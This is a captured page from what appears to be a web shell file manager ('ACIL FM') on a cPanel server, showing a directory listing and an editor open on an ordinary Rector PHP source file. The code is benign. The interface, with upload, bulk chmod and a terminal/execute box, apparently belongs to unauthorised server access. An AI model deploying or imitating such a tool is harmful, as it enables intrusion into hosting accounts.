ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/src/PhpAttribute
/
opt
cpanel
ea-wappspector
vendor
rector
rector
src
PhpAttribute
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
AnnotationToAttributeMapper
-
chmod
Open
Rename
Delete
Contract
-
chmod
Open
Rename
Delete
Enum
-
chmod
Open
Rename
Delete
NodeFactory
-
chmod
Open
Rename
Delete
ValueObject
-
chmod
Open
Rename
Delete
AnnotationToAttributeMapper.php
2.07 MB
chmod
View
DL
Edit
Rename
Delete
AttributeArrayNameInliner.php
2.41 MB
chmod
View
DL
Edit
Rename
Delete
UseAliasNameMatcher.php
2.75 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/src/PhpAttribute/UseAliasNameMatcher.php
<?php declare (strict_types=1); namespace Rector\PhpAttribute; use PhpParser\Node\Identifier; use PhpParser\Node\Stmt\Use_; use PhpParser\Node\Stmt\UseUse; use Rector\NodeTypeResolver\Node\AttributeKey; use Rector\Php80\Contract\ValueObject\AnnotationToAttributeInterface; use Rector\PhpAttribute\ValueObject\UseAliasMetadata; /** * @see \Rector\Tests\PhpAttribute\UseAliasNameMatcherTest */ final class UseAliasNameMatcher { /** * @param Use_[] $uses */ public function match(array $uses, string $shortAnnotationName, AnnotationToAttributeInterface $annotationToAttribute) : ?UseAliasMetadata { $shortAnnotationName = \trim($shortAnnotationName, '@'); foreach ($uses as $use) { foreach ($use->uses as $useUse) { // we need to use original use statement $originalUseUseNode = $useUse->getAttribute(AttributeKey::ORIGINAL_NODE); if (!$originalUseUseNode instanceof UseUse) { continue; } if (!$originalUseUseNode->alias instanceof Identifier) { continue; } $alias = $originalUseUseNode->alias->toString(); if (\strncmp($shortAnnotationName, $alias, \strlen($alias)) !== 0) { continue; } $fullyQualifiedAnnotationName = $originalUseUseNode->name->toString() . \ltrim($shortAnnotationName, $alias); if ($fullyQualifiedAnnotationName !== $annotationToAttribute->getTag()) { continue; } $annotationParts = \explode('\\', $fullyQualifiedAnnotationName); $attributeParts = \explode('\\', $annotationToAttribute->getAttributeClass()); // requirement for matching single part rename if (\count($annotationParts) !== \count($attributeParts)) { continue; } // now we now we are matching correct contanct and old and new have the same number of parts $useImportPartCount = \substr_count($originalUseUseNode->name->toString(), '\\') + 1; $newAttributeImportPart = \array_slice($attributeParts, 0, $useImportPartCount); $newAttributeImport = \implode('\\', $newAttributeImportPart); $shortNamePartCount = \count($attributeParts) - $useImportPartCount; // +1, to remove the alias part $attributeParts = \array_slice($attributeParts, -$shortNamePartCount); $shortAttributeName = $alias . '\\' . \implode('\\', $attributeParts); return new UseAliasMetadata($shortAttributeName, $newAttributeImport, $useUse); } } return null; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply